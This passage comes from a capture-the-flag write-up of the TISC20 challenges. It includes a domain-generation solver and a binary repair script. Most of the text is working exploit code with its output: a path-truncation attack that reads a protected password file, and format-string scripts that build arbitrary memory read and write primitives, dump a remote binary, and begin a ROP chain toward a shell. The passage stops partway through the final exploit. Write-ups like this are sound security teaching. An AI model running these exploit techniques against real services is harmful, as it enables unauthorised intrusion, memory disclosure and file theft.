is computed and used as an index into a character array (charset
). This is appended to the
resultant domain string.
The charset
is kod4y6tgirhzq1pva52jem3sfxw8u9b0ncl7
.
If the terminating condition has been met, the root portion of the domain and the prefix is computed.
During this terminating condition, there are 9 different root possibilities that were enumerated during runtime experiments:
.mixtape.moe
.catbox.moe
.tk
.nyaa.net
.gq
.pomf.io
.cf
.ga
.ml
A go program was written and built (go build test_random.go
) to calculate the domain name from an
unix epoch.
package main
import (
"fmt"
"bytes"
"os"
"strconv"
"math/rand"
)
func main() {
charset := "kod4y6tgirhzq1pva52jem3sfxw8u9b0ncl7"
epoch, _ := strconv.Atoi(os.Args[1])
seed := int64(epoch >> 0xf)
rand.Seed(seed)
lengthener := rand.Intn(0x20)
buff := bytes.NewBufferString("")
for i := 0; i < (0x20 + lengthener); i++ {
current_num := rand.Intn(0x539 + i)
current_num = current_num % 0x24
//fmt.Println(current_num)
buff.WriteByte(charset[current_num])
}
root_part := rand.Intn(0x7a69) % 9
//fmt.Println(root_part)
parts := [...]string{".mixtape.moe", ".catbox.moe", ".tk", ".nyaa.net", ".gq", ".pomf.io",
".cf", ".ga", ".ml"}
//fmt.Println(root_part)
buff.WriteString(parts[root_part])
domain := buff.String()
fmt.Println(domain)
}
Now, this was plugged into a python script to deal with the repeated questions from the server.
from pwn import *
from datetime import datetime
import pytz
#context.log_level = 'debug'
def get_answer(epoch):
p = process("./test_random {}".format(epoch), shell=True)
domain = p.recvall().strip()
p.close()
return domain
def main():
p = remote("fqybysahpvift1nqtwywevlr7n50zdzp.ctf.sg", 31090)
p.recvuntil("SUBMISSION_TOKEN?")
p.sendline("exIvQfhiaBKjudkvmWrIUoAheGZEjscdPOJClxUJNTFdJbFiguftOlVacIkgQRYG")
while True:
test_win = p.recvuntil(["Do you know the domain name at ", "Winner"])
if b"Winner" in test_win:
print(p.recvall(0.5))
return
timing = p.recvuntil("Coordinated Universal Time")
timing = timing.replace(b" Coordinated Universal Time", b"")
p.recvuntil("connects to?")
parsed_d = datetime.strptime(timing.decode("utf-8"), "%B %d, %Y, %I:%M:%S %p")
parsed_d = pytz.utc.localize(parsed_d)
epoch = int(parsed_d.timestamp())
answer = get_answer(epoch)
p.sendline(answer)
print(answer)
p.interactive()
if __name__ == '__main__':
main()
Running the script:
python answer.py
[+] Opening connection to fqybysahpvift1nqtwywevlr7n50zdzp.ctf.sg on port 31090: Done
[+] Starting local process '/bin/sh': pid 18545
[+] Receiving all data: Done (49B)
[*] Process '/bin/sh' stopped with exit code 0 (pid 18545)
b'ctoi9uj4lt0grfqozyqh0smh6do1onaqf35vj8fg81b8c.cf'
[+] Starting local process '/bin/sh': pid 18546
[+] Receiving all data: Done (50B)
[*] Process '/bin/sh' stopped with exit code 0 (pid 18546)
b'evp92cfszcejb3ac0t5o0sn7zb3z2nf89zztftu1kxt7nb.ga'
[+] Starting local process '/bin/sh': pid 18547
[+] Receiving all data: Done (56B)
[*] Process '/bin/sh' stopped with exit code 0 (pid 18547)
b'nhiz9blh6n1tut9s4w5mbk3lyh6vur80cvf2k6ttee3u.catbox.moe'
[+] Starting local process '/bin/sh': pid 18548
[+] Receiving all data: Done (47B)
[*] Process '/bin/sh' stopped with exit code 0 (pid 18548)
b'2yuowtvj496xbdeu9omxrb86qfb4x3ttula7s.nyaa.net'
...
[+] Starting local process '/bin/sh': pid 18644
[+] Receiving all data: Done (40B)
[*] Process '/bin/sh' stopped with exit code 0 (pid 18644)
b'4zfb2qiyyvti9oikcqcanmivzdn5da2lyf76.ml'
[+] Receiving all data: Done (87B)
[*] Closed connection to fqybysahpvift1nqtwywevlr7n50zdzp.ctf.sg port 31090
b' Winner Vegan Dinner...'
Flag: None, was automatically submitted
Stage 5: Bulletin Board System
The challenge file can be downloaded here.
Solution
We are given a corrupted ELF binary.
$ file bbs
bbs: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), too many section (65535)
Some work was done to prevent easy debugging with GDB:
$ gdb ./bbs
GNU gdb (Ubuntu 8.1-0ubuntu3.2) 8.1.0.20180409-git
...
"/vagrant/ctfs/tisc/stage5/./bbs": not in executable format: File truncated
gef> r
Starting program:
No executable file specified.
Use the "file" or "exec-file" command.
gef>
Checking the headers with readelf -h bbs
showed that the headers were messed with:
$ readelf -h bbs
ELF Header:
Magic: 7f 45 4c 46 02 01 01 03 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - GNU
ABI Version: 0
Type: EXEC (Executable file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0x400a60
Start of program headers: 64 (bytes into file)
Start of section headers: 65535 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes)
Number of program headers: 6
Size of section headers: 64 (bytes)
Number of section headers: 65535
Section header string table index: 65535 (3539421402)
readelf: Error: Reading 4194240 bytes extends past end of file for section headers
This is similar to the issues encountered in this
writeup.
It appears that the ELF Screwer
tool was used to corrupt the e_shoff
, e_shnum
, and e_shstrndx
fields of the header.
To fix up the binary to get things into a debuggable state, the following script was executed:
#!/usr/bin/python3
from lepton import *
from struct import pack
def main():
with open("../bbs", "rb") as f:
elf_file = ELFFile(f)
# overwrite fields values with 0x00 bytes
elf_file.ELF_header.fields["e_shoff"] = pack("<Q", 0)
elf_file.ELF_header.fields["e_shentsize"] = pack("<H", 0)
elf_file.ELF_header.fields["e_shnum"] = pack("<H", 0)
elf_file.ELF_header.fields["e_shstrndx"] = pack("<H", 0)
# output to file
binary = elf_file.ELF_header.to_bytes() + elf_file.file_buffer[64:]
with open("../repaired_bbs", "wb") as f:
f.write(binary)
if __name__=="__main__":
main()
Now, the repaired binary was debuggable.
$ gdb ./repaired_bbs
GNU gdb (Ubuntu 8.1-0ubuntu3.2) 8.1.0.20180409-git
...
Reading symbols from ./repaired_bbs...(no debugging symbols found)...done.
gef> r
Starting program: /vagrant/ctfs/tisc/stage5/repaired_bbs
[Inferior 1 (process 15994) exited normally]
gef>
However, the binary did not execute as expected as it exits instantly. Checking strace
verifies
that there are anti-debugging measures.
$ strace -f ./repaired_bbs
execve("./repaired_bbs", ["./repaired_bbs"], 0x7ffdae1cba08 /* 27 vars */) = 0
brk(NULL) = 0x2185000
brk(0x21861c0) = 0x21861c0
arch_prctl(ARCH_SET_FS, 0x2185880) = 0
uname({sysname="Linux", nodename="ubuntu-bionic", ...}) = 0
readlink("/proc/self/exe", "/vagrant/ctfs/tisc/stage5/repair"..., 4096) = 38
brk(0x21a71c0) = 0x21a71c0
brk(0x21a8000) = 0x21a8000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
ptrace(PTRACE_TRACEME) = -1 EPERM (Operation not permitted)
exit_group(0) = ?
+++ exited with 0 +++
We can look for the ptrace
call:
And patch it out with NOPs:
Now, we can debug it and execute it properly:
If we provide a wrong username and password, it prompts us to try the guest
account:
USERNAME: test
PASSWORD: test
Sorry, user accounts will only be available in the Beta.
Use account 'guest' with the password provided at the back of your BBS PRO CD Case!
The general flow of the patched main function looks like so:
It flows into a check_password
function that does the corresponding logic. First, it checks if the
password is at most 0x19
bytes:
Then, for each byte, it checks if it is an odd or even index. If it is an even index, it takes the bottom 4 bits of the current byte of the password and stores it. If it is an odd index, it takes the top 4 bits of the current byte of the password, merges it with the stored bits and saves the resultant byte as a piece of the final constructed password.
Finally, it compares the constructed password with a static value stored in memory.
This static value is \x03\x13\x66\x23\x43\x66\x26\x16\x16\x23\x86\x36
.
To generate a passing password, a script was written:
#!/usr/bin/python
def main():
key = b"\x03\x13\x66\x23\x43\x66\x26\x16\x16\x23\x86\x36"
password = b''
for i in key:
upper = i >> 4
lower = i & 0xf
complete = chr((lower << 4) + upper).encode("ascii") * 2
password += complete
print("Password: {}".format(password.decode("ascii")))
if __name__ == '__main__':
main()
The password successfully logs in as a guest:
The message board feature has a number of features.
The vulnerable option that allows us to arbitrarily read files on the file system is the View
Thread
feature.
To analyse this, first we place the credentials in a file.
$ cat data
guest
0011ff2244ffbbaaaa22hhcc
Next, we run strace
on the binary.
$ ((cat data; cat -) | strace ./repaired_bbs_patched )
execve("./repaired_bbs_patched", ["./repaired_bbs_patched"], 0x7fffd92a33d0 /* 27 vars */) = 0
brk(NULL) = 0x16d2000
brk(0x16d31c0) = 0x16d31c0
arch_prctl(ARCH_SET_FS, 0x16d2880) = 0
uname({sysname="Linux", nodename="ubuntu-bionic", ...}) = 0
readlink("/proc/self/exe", "/vagrant/ctfs/tisc/stage5/repair"..., 4096) = 46
brk(0x16f41c0) = 0x16f41c0
brk(0x16f5000) = 0x16f5000
...
write(1, "SELECT: ", 8SELECT: ) = 8
write(1, "\33[0m", 4) = 4
read(0, V
"V", 1) = 1
read(0, "\n", 1) = 1
write(1, "\33[0;33m", 7) = 7
...
write(1, "THREAD: ", 8THREAD: ) = 8
write(1, "\33[0m", 4) = 4
read(0, hello_word
"h", 1) = 1
read(0, "e", 1) = 1
read(0, "l", 1) = 1
read(0, "l", 1) = 1
read(0, "o", 1) = 1
read(0, "_", 1) = 1
read(0, "w", 1) = 1
read(0, "o", 1) = 1
read(0, "r", 1) = 1
read(0, "d", 1) = 1
read(0, "\n", 1) = 1
access("/home/bbs/threads/hello_word.thr", F_OK) = -1 ENOENT (No such file or directory)
write(1, "\33[2J\33[H", 7
) = 7
write(1, "\33[1;31m", 7) = 7
write(1, "Thread does not exist! Press ent"..., 50Thread does not exist! Press enter to continue...
) = 50
write(1, "\33[0m", 4) = 4
read(0,
We can control the file name but there is a postfix of .thr
appended. This will not do with the
requirement that we read from the ~/.passwd
file.
However, we can bypass this. Attempting an extremely long filename shows that the path gets truncated.
...
access("/home/bbs/threads/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAA", F_OK) = -1 ENOENT (No such file or directory)
...
Knowing this, we can combine the path truncation attack into everything we know so far.
The full exploit script:
#!/usr/bin/python
from pwn import *
#context.log_level = 'debug'
def main():
#p = process('repaired_bbs_patched')
p = remote('fqybysahpvift1nqtwywevlr7n50zdzp.ctf.sg', 12123)
# Username Prompt
p.recvuntil("USERNAME: \33[0m")
p.sendline("guest")
# Password Prompt
p.recvuntil("PASSWORD: \33[0m")
p.sendline("0011ff2244ffbbaaaa22hhcc")
# Path Truncation Attack
length = 254
pathing = b'/home/bbs/threads/'
prefix = b'../'
back_part = b'/.passwd'
slashes = b'/' * (length - len(pathing) - len(back_part) - len(prefix))
payload = prefix + slashes + back_part
# SELECT prompt
p.recvuntil("SELECT: \33[0m")
p.sendline("V")
# Send the path
p.recvuntil("THREAD: \33[0m")
p.sendline(payload)
# Get the flag.
p.recvuntil('\x1b[H')
flag = p.recvline()
log.success("Flag: %s" % flag.decode("utf-8"))
if __name__ == '__main__':
main()
Running the script gives us the flag:
python exploit.py
[+] Opening connection to fqybysahpvift1nqtwywevlr7n50zdzp.ctf.sg on port 12123: Done
[+] Flag: TISC20{m4ngl3d_b4ngl3d_wr4ngl3d}
Flag: TISC20{m4ngl3d_b4ngl3d_wr4ngl3d}
Stage 6A: Blind Boss Battle
Solution
When connecting to the service, a format string vulnerability is apparent:
nc fqybysahpvift1nqtwywevlr7n50zdzp.ctf.sg 42000
Welcome to Anoroc Riga Server
Key-Value Storage Service
==============================
Number of users pwned today: 5908
Function Not Yet Implemented
AAAA
AAAA
%p %p %p %p %p %p %p
0x7fe685d08a03 (nil) 0x7fe685d08980 0x55f90fc8d0a0 (nil) 0x7fff2fc20690 0x55f90fc8a2e0
However, there is a caveat to exploiting this. The fourth parameter (0x55f90fc8d0a0
in the above
run), appears to be an address in the .bss
segment of the binary. The fourth parameter turns out
to be where the format string is stored:
nc fqybysahpvift1nqtwywevlr7n50zdzp.ctf.sg 42000
Welcome to Anoroc Riga Server
Key-Value Storage Service
==============================
Number of users pwned today: 5908
Function Not Yet Implemented
XXXX %4$s YYYY
XXXX XXXX %4$s YYYY YYYY
This is a complication because controlling an arbitrary address for reading and writing is no longer as trivial as specifying it in the format string itself.
To achieve the goal of dumping the binary, we need a means of specifiying arbitrary addresses to read from. In an effort to help us do this, we can write a leaker script to dump out as much output as we can.
#!/usr/bin/python
from pwn import *
#context.log_level = 'debug'
context.update(arch = 'amd64', os = 'linux')
def run_leak(p, payload):
prefix = b"XXXX"
total = prefix + payload
p.sendline(total)
p.recvuntil(prefix)
data = p.recv()
return data
def leak_str(p, index):
payload = ('AAAA' + '%' + str(index) + '$s %' + str(index) + '$p' + 'CCCC').encode('utf-8')
r = run_leak(p, payload)
string = r[4:-4]
return string
def main():
for i in range(100):
p = remote('fqybysahpvift1nqtwywevlr7n50zdzp.ctf.sg', 42000)
try:
leaked_string = leak_str(p, i)
first_part = leaked_string.split(b' 0x')[0][:8].ljust(8, b'\x00')
address_maybe = u64(first_part)
status = b"%s 0x%x %d" % (leaked_string, address_maybe, i)
print(status)
except:
pass
else:
p.close()
#p.interactive()
if __name__ == '__main__':
main()
This gives us something like so:
b'%0$s %0$p 0x2430252073243025 0'
b'\n 0x7fb9d66f6a03 0xa 1'
b'(null) (nil) 0x2820296c6c756e28 2'
b'\x8b \xad\xfb 0x7fe571c13980 0xfbad208b 3'
b'XXXXAAAA%4$s %4$pCCCC 0x5633c36260a0 0x4141414158585858 4'
b'(null) (nil) 0x2820296c6c756e28 5'
b'\x01 0x7ffe5903f370 0x1 6'
b'\xf3\x0f\x1e\xfaAWL\x8d=\xa3* 0x56177ef4f2e0 0x8d4c5741fa1e0ff3 7'
b'(null) (nil) 0x2820296c6c756e28 8'
b'\x89\xc7\xe8\x06+\x02 0x7f11930d60b3 0x22b06e8c789 9'
b' 0x7f896fe78620 0x0 10'
b'\\\xefc\xbc\xfd\x7f 0x7ffdbc63d238 0x7ffdbc63ef5c 11'
b'\xf3\x0f\x1e\xfaU1\xf6H\x8d-\x92/ 0x5648c11c5100 0x48f63155fa1e0ff3 13'
b'\xf3\x0f\x1e\xfaAWL\x8d=\xa3* 0x55d52ec162e0 0x8d4c5741fa1e0ff3 14'
b'\xf3\x0f\x1e\xfa1\xedI\x89\xd1^H\x89\xe2H\x83\xe4\xf0PTL\x8d\x05F\x01 0x55b5aed8e1f0 0x8949ed31fa1e0ff3 16'
b'\x01 0x7ffd3f6b8330 0x1 17'
b'(null) (nil) 0x2820296c6c756e28 18'
b'(null) (nil) 0x2820296c6c756e28 19'
b'(null) (nil) 0x2820296c6c756e28 22'
b'(null) (nil) 0x2820296c6c756e28 23'
b'(null) (nil) 0x2820296c6c756e28 24'
b'\\o-\xf3\xfc\x7f 0x7ffcf32d4ef8 0x7ffcf32d6f5c 26'
b'a/\x8c8\xfe\x7f 0x7ffe388c13b8 0x7ffe388c2f61 27'
b' 0x7f4448906190 0x0 28'
b'(null) (nil) 0x2820296c6c756e28 29'
b'(null) (nil) 0x2820296c6c756e28 30'
b'\xf3\x0f\x1e\xfa1\xedI\x89\xd1^H\x89\xe2H\x83\xe4\xf0PTL\x8d\x05F\x01 0x5628217c51f0 0x8949ed31fa1e0ff3 31'
b'\x01 0x7ffc902d7a70 0x1 32'
b'(null) (nil) 0x2820296c6c756e28 33'
b'(null) (nil) 0x2820296c6c756e28 34'
b'\xf4\x90H\x8d=). 0x560a948af21e 0x2e293d8d4890f4 35'
b'\x1c 0x7fff0fb76318 0x1c 36'
b'pwn6 0x7ffdf4d72f5c 0x366e7770 39'
b'(null) (nil) 0x2820296c6c756e28 40'
b'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 0x7ffdd55a4f61 0x73752f3d48544150 41'
b'HOSTNAME=70e208321dbb 0x7ffd95f00fa3 0x454d414e54534f48 42'
b'user=pwn6 0x7fffabdc8fb9 0x6e77703d72657375 43'
b'HOME=/home/pwn6 0x7ffd44407fc3 0x6f682f3d454d4f48 44'
b'REMOTE_HOST=10.0.0.3 0x7ffea9b30fd3 0x485f45544f4d4552 45'
b'(null) (nil) 0x2820296c6c756e28 46'
b'\x7fELF\x02\x01\x01 0x7ffe8beb9000 0x10102464c457f 48'
b'\x06 0x5608a1023040 0x6 56'
b'\x7fELF\x02\x01\x01 0x7f224ba9c000 0x10102464c457f 62'
b'(null) (nil) 0x2820296c6c756e28 64'
b'\xf3\x0f\x1e\xfa1\xedI\x89\xd1^H\x89\xe2H\x83\xe4\xf0PTL\x8d\x05F\x01 0x55dec82f61f0 0x8949ed31fa1e0ff3 66'
b'(null) (nil) 0x2820296c6c756e28 76'
b'\xf5I\xa3n<\x86\xd6\x13\xbb\xa9$\xdf6\xd5\x86\xddx86_64 0x7ffe30e7adb9 0x13d6863c6ea349f5 78'
b'(null) (nil) 0x2820296c6c756e28 80'
b'/home/pwn6/pwn6 0x7ffed176ffe8 0x77702f656d6f682f 82'
b'x86_64 0x7ffd8dd10819 0x34365f363878 84'
...
This output does not seem immediately important so we can try another method. In the following
script, the run_leak(p, b'%57001c%26$n')
line can be updated to write the short value of 0xdead
to an address at an index in the stack.
#!/usr/bin/python
from pwn import *
#context.log_level = 'debug'
context.update(arch = 'amd64', os = 'linux')
def run_leak(p, payload):
prefix = b"XXXX"
total = prefix + payload
p.sendline(total)
p.recvuntil(prefix)
data = p.recv()
return data
def leak_str(p, windex, index):
payload = ('AAAA' + '%' + str(index) + '$p' + 'CCCC').encode('utf-8')
r = run_leak(p, payload)
string = r[4:-4]
return string
def main():
p = remote('fqybysahpvift1nqtwywevlr7n50zdzp.ctf.sg', 42000)
baseline = []
i = 17
#run_leak(p, b'%57001c%17$n')
#run_leak(p, b'%57001c%17$n')
run_leak(p, b'%57001c%26$n')
for j in range(1, 100):
leaked_string = leak_str(p, i, j)
if b'nil' in leaked_string or b'$' in leaked_string:
pointer = 0
else:
pointer = int(leaked_string, 16)
baseline.append(pointer)
for i in range(len(baseline)):
print("%-3d 0x%x" % (i+1, baseline[i]))
#p.interactive()
if __name__ == '__main__':
main()
When writing to index 26
, we notice something interesting in the output:
[+] Opening connection to fqybysahpvift1nqtwywevlr7n50zdzp.ctf.sg on port 42000: Done
1 0x7f29b9cb3a03
2 0x0
3 0x7f29b9cb3980
4 0x5634bfab70a0
5 0x0
6 0x7ffe079258b0
7 0x5634bfab42e0
8 0x0
9 0x7f29b9aef0b3
10 0x7f29b9cec620
11 0x7ffe079258b8
12 0x100000000
13 0x5634bfab4100
14 0x5634bfab42e0
15 0xa02637a8a9d7550
16 0x5634bfab41f0
17 0x7ffe079258b0
18 0x0
19 0x0
20 0xf5fe6c5e253d7550
21 0xf45110276a537550
22 0x0
23 0x0
24 0x0
25 0x1
26 0x7ffe079258b8
27 0x7ffe079258c8
28 0x7f29b9cee190
29 0x0
30 0x0
31 0x5634bfab41f0
32 0x7ffe079258b0
33 0x0
34 0x0
35 0x5634bfab421e
36 0x7ffe079258a8
37 0x1c
38 0x1
39 0x7ffe0000dead
...
After the write to the address in index 26
, the value of index 39
gets overwritten with 0xdead
in the lowest 4 bytes. This gives us a primitive to control the lower 4 bytes of index 39
. Since
index 39
contains a stack address, this allows us to modify it to point at an arbitrary point
within the immediate addressable stack.
A snippet implementing this primitive to point index 39
to any other index looks like so:
def adjust_bouncer(p, base, index, offset=0):
# Adjust the value of index 39 to point at a particular index.
address = base + (index * 8) + offset
lower_address = address & 0xffff
payload = b'%' + str(lower_address).encode('utf-8') + b'c%26$hn'
p.sendline(payload)
p.recv()
With this primitive, we now have the capability to write data to another index using index 39
as a
‘bouncer’. This is implemented like so:
def write_index(p, index_base, index, address, value):
# Writes an arbitrary value to an index.
if index == 39:
# NOT ALLOWEEED
return
for i in range(0, 8, 2):
current_portion = (address >> (i * 8)) & 0xffff
adjust_bouncer(p, index_base, index, offset=i)
write_single(p, current_portion)
Taking index 41
as an example, we can use the capability to write to it to control address to read
from. This gives us our arbitrary read primitive.
def leak_data(p, index):
payload = ('%' + str(index) + '$s').encode('utf-8')
r = run_leak(p, payload)
return r
def arbitrary_read(p, index_base, address):
write_index(p, index_base, 41, address, 0)
data = leak_data(p, 41)
return data
Next, we need to find the base address of the ELF binary. As a guess, we can use the address of the
format string in .bss
and apply a mask. After some trial and error, it was discovered that the
mask of 0xffffffffffffe000
grants the right address with a high probability. We can tell because
the ELF header should start with ELF
.
Putting everything together, the full exploit is as follows:
#!/usr/bin/python
from pwn import *
import pwnlib
#context.log_level = 'debug'
context.update(arch = 'amd64', os = 'linux')
def run_leak(p, payload):
prefix = b"XXXX"
postfix = b'ZZZZ'
total = prefix + payload + postfix
p.sendline(total)
p.recvuntil(prefix)
data = p.recvuntil(postfix)
return data[:-4]
def adjust_bouncer(p, base, index, offset=0):
# Adjust the value of index 39 to point at a particular index.
address = base + (index * 8) + offset
lower_address = address & 0xffff
payload = b'%' + str(lower_address).encode('utf-8') + b'c%26$hn'
p.sendline(payload)
p.recv()
def leak_address(p, index):
payload = ('%' + str(index) + '$p').encode('utf-8')
r = run_leak(p, payload)
address = int(r, 16)
return address
def leak_data(p, index):
payload = ('%' + str(index) + '$s').encode('utf-8')
r = run_leak(p, payload)
return r
def write_single(p, value):
# Value must be a 2 bytes short
if value > 0:
payload = b'%' + str(value).encode('utf-8') + b'c%39$hn'
else:
payload = b'%39$hn'
p.sendline(payload)
p.recv()
def write_index(p, index_base, index, address, value):
# Writes an arbitrary value to an index.
if index == 39:
# NOT ALLOWEEED
return
for i in range(0, 8, 2):
current_portion = (address >> (i * 8)) & 0xffff
adjust_bouncer(p, index_base, index, offset=i)
write_single(p, current_portion)
def arbitrary_read(p, index_base, address):
write_index(p, index_base, 41, address, 0)
data = leak_data(p, 41)
return data
def main():
p = remote('fqybysahpvift1nqtwywevlr7n50zdzp.ctf.sg', 42000)
# Index 17 points to Index 38
# Figure out address of Index 38
index_17_value = leak_address(p, 17)
index_38_address = index_17_value
log.info("Got address of index 38: 0x%x" % index_38_address)
# Figure out index 0
index_base = index_38_address - (38 * 8)
log.info("RSP (index 0): 0x%x" % index_base)
# Figure out the halfed address to index 39
index_26_value = leak_address(p, 26)
log.info("Got address of index 26 (index 39): 0x%x" % index_26_value)
index_39_value = leak_address(p, 39)
log.info("Got value of index 39: 0x%x" % index_39_value)
# Leak address of the format string just to verify.
index_4_value = leak_address(p, 4)
log.info("Got address of index 4 (format string): 0x%x" % index_4_value)
#write_index(p, index_base, 41, index_4_value, 0)
#log.info("Systems Test: 0x%x" % leak_address(p, 41))
#log.info("Verify that format string shows up: %s" % leak_data(p, 41).decode("utf-8"))
# Leak address of possible .text.
index_7_value = leak_address(p, 7)
log.info("Got address of index 7 (format string): 0x%x" % index_7_value)
elf_start = index_7_value & 0xffffffffffffe000
log.info("ELF Start: 0x%x" % elf_start)
def leak(address):
return arbitrary_read(p, index_base, address)
elf_header = leak(elf_start)
log.info("ELF Start Bytes: %s" % elf_header)
if b'\x7fELF\x02\x01\x01' != elf_header:
log.info('Attempt failed.')
return
elf_contents = elf_header + b'\x00'
offset = len(elf_contents)
fd = open("stolen_elf", 'wb')
fd.write(elf_contents)
running_index = -1
while True:
try:
next_content = leak(elf_start + offset) + b'\x00'
elf_contents += next_content
offset += len(next_content)
#print(offset, next_content)
fd.write(next_content)
if b'TISC20' in next_content:
flag = next_content.decode('utf-8')[:-1]
log.success('Discovered flag: {}'.format(flag))
if float(len(elf_contents))/100 > running_index + 1:
log.info("Got {} bytes of ELF data so far.".format(len(elf_contents)))
running_index += 1
except:
log.info("Got EOF, leaked all we could.")
break
log.info("Obtained {} bytes of ELF file.".format(len(elf_contents)))
log.success("Flag: {}.".format(flag))
if __name__ == '__main__':
main()
There is some unreliability with guessing that the true base of the ELF file is at the mask of
0xffffffffffffe000
of the leaked pointer and sometimes, the exploit fails with the following
output. The script detects this and reports the failed attempt.
$ python exploit.py
[+] Opening connection to fqybysahpvift1nqtwywevlr7n50zdzp.ctf.sg on port 42000: Done
[*] Got address of index 38: 0x7ffe7fb02fc0
[*] RSP (index 0): 0x7ffe7fb02e90
[*] Got address of index 26 (index 39): 0x7ffe7fb02fc8
[*] Got value of index 39: 0x7ffe7fb04f5c
[*] Got address of index 4 (format string): 0x5582989670a0
[*] Got address of index 7 (format string): 0x5582989642e0
[*] ELF Start: 0x558298964000
[*] ELF Start Bytes: b'\xf3\x0f\x1e\xfaH\x83\xec\x08H\x8b\x05\xd9/'
[*] Attempt failed.
On a good run, the script detects that the appropriate ELF header is identified and continues on to dump the ELF binary. This can take a very long time. During execution, it also looks for the flag and reports it.
$ python exploit.py
[+] Opening connection to fqybysahpvift1nqtwywevlr7n50zdzp.ctf.sg on port 42000: Done
[*] Got address of index 38: 0x7ffca01db940
[*] RSP (index 0): 0x7ffca01db810
[*] Got address of index 26 (index 39): 0x7ffca01db948
[*] Got value of index 39: 0x7ffca01dcf5c
[*] Got address of index 4 (format string): 0x5557a54680a0
[*] Got address of index 7 (format string): 0x5557a54652e0
[*] ELF Start: 0x5557a5464000
[*] ELF Start Bytes: b'\x7fELF\x02\x01\x01'
[*] Got 9 bytes of ELF data so far.
[*] Got 101 bytes of ELF data so far.
[*] Got 201 bytes of ELF data so far.
[*] Got 301 bytes of ELF data so far.
[*] Got 402 bytes of ELF data so far.
[*] Got 501 bytes of ELF data so far.
[*] Got 602 bytes of ELF data so far.
[*] Got 701 bytes of ELF data so far.
[*] Got 820 bytes of ELF data so far.
[*] Got 902 bytes of ELF data so far.
[*] Got 1001 bytes of ELF data so far.
...
[*] Got 16401 bytes of ELF data so far.
[+] Discovered flag: TISC20{Ch3ckp01nt_1_349ufh98hd98iwqfkoieh938}
[*] Got 16503 bytes of ELF data so far.
...
[*] Got 20401 bytes of ELF data so far.
[*] Got EOF, leaked all we could.
[*] Obtained 20480 bytes of ELF file.
[+] Flag: TISC20{Ch3ckp01nt_1_349ufh98hd98iwqfkoieh938}.
Flag: TISC20{Ch3ckp01nt_1_349ufh98hd98iwqfkoieh938}
Stage 6B: You are the boss
From the previous stage, we obtained a binary. This file can be downloaded here.
Solution
Given that we have the binary now, we can obtain the address of the GOT entries:
From the previous section, we already managed to obtain the base address of the ELF binary. This is
important because the binary has PIE
enabled and is mapped at a random location in memory.
Once we can calculate the various values in the GOT entries, we can query a libc database to identify the libc running on the remote server.
The first thing I tried after obtaining the offsets was a computed magic one_gadget
written to the
__free_hook
in libc. This can be triggered by specifying a large enough format string like
%100000c
. Unfortunately, it appears that the binary is built weird and things like system
did
not seem to work.
Thus, a method of writing a ROP chain was necessary. Since the primitives already exist, this was possible. All that was needed to be done was to discover the offset of where the return address was stored at.
This turned out to be offset 9
while analysing the binary in GDB:
gef> x/32xg $rsp
0x7ffe18c89270: 0x00007ffe18c89360 0x0000000000000000
0x7ffe18c89280: 0x0000564a60e402e0 0x00007fb62f16bb97
...
$ ./stolen_elf
Welcome to Anoroc Riga Server
Key-Value Storage Service
==============================
Number of users pwned today: 5908
Function Not Yet Implemented
%9$p
0x7fb62f16bb97
At this point, there was some friction as the standard system("/bin/sh")
ROP chains were not
working. So I decided to verify it by trying out a ROP chain that read from /etc/passwd
.
Eventually, after emulating the the environment on a VM, I realised that system
was not working
for some reason. Instead, I went for execve("/bin/sh", 0, 0)
instead and that solved the problems.
The full exploit is as follows:
#!/usr/bin/python
from pwn import *
import pwnlib
#context.log_level = 'debug'
context.update(arch = 'amd64', os = 'linux')
def run_leak(p, payload):
prefix = b"XXXX"
postfix = b'ZZZZ'
total = prefix + payload + postfix
p.sendline(total)
p.recvuntil(prefix)
data = p.recvuntil(postfix)
return data[:-4]
def adjust_bouncer(p, base, index, offset=0):
# Adjust the value of index 39 to point at a particular index.
address = base + (index * 8) + offset
lower_address = address & 0xffff
payload = b'%' + str(lower_address).encode('utf-8') + b'c%26$hn'
p.sendline(payload)
p.recv()
def leak_address(p, index):
payload = ('%' + str(index) + '$p').encode('utf-8')
r = run_leak(p, payload)
address = int(r, 16)
return address
def leak_data(p, index):
payload = ('%' + str(index) + '$s').encode('utf-8')
r = run_leak(p, payload)
return r
def write_single(p, value, target_index=39):
back_str = b'%' + str(target_index).encode('utf-8') + b'$hn'
# Value must be a 2 bytes short
if value > 0:
payload = b'%' + str(value).encode('utf-8') + b'c' + back_str
else:
payload = back_str
p.sendline(payload)
p.recv()
def write_index(p, index_base, index, address):
# Writes an arbitrary address to an index.
if index == 39:
# NOT ALLOWEEED
return
for i in range(0, 8, 2):
current_portion = (address >> (i * 8)) & 0xffff
adjust_bouncer(p, index_base, index, offset=i)
write_single(p, current_portion)
def arbitrary_read(p, index_base, address):
write_index(p, index_base, 41, address)
data = leak_data(p, 41)
return data
def arbitrary_write(p, index_base, address, value):
for i in range(0, 8, 2):
write_index(p, index_base, 42, address + i)
current_portion = (value >> (i * 8)) & 0xffff
write_single(p, current_portion, target_index=42)
def main():
p = remote('fqybysahpvift1nqtwywevlr7n50zdzp.ctf.sg', 42000)
# Index 17 points to Index 38
# Figure out address of Index 38
index_17_value = leak_address(p, 17)
index_38_address = index_17_value
log.info("Got address of index 38: 0x%x" % index_38_address)
# Figure out index 0
index_base = index_38_address - (38 * 8)
log.info("RSP (index 0): 0x%x" % index_base)
# Figure out the halfed address to index 39
index_26_value = leak_address(p, 26)
log.info("Got address of index 26 (index 39): 0x%x" % index_26_value)
index_39_value = leak_address(p, 39)
log.info("Got value of index 39: 0x%x" % index_39_value)
# Leak address of the format string just to verify.
index_4_value = leak_address(p, 4)
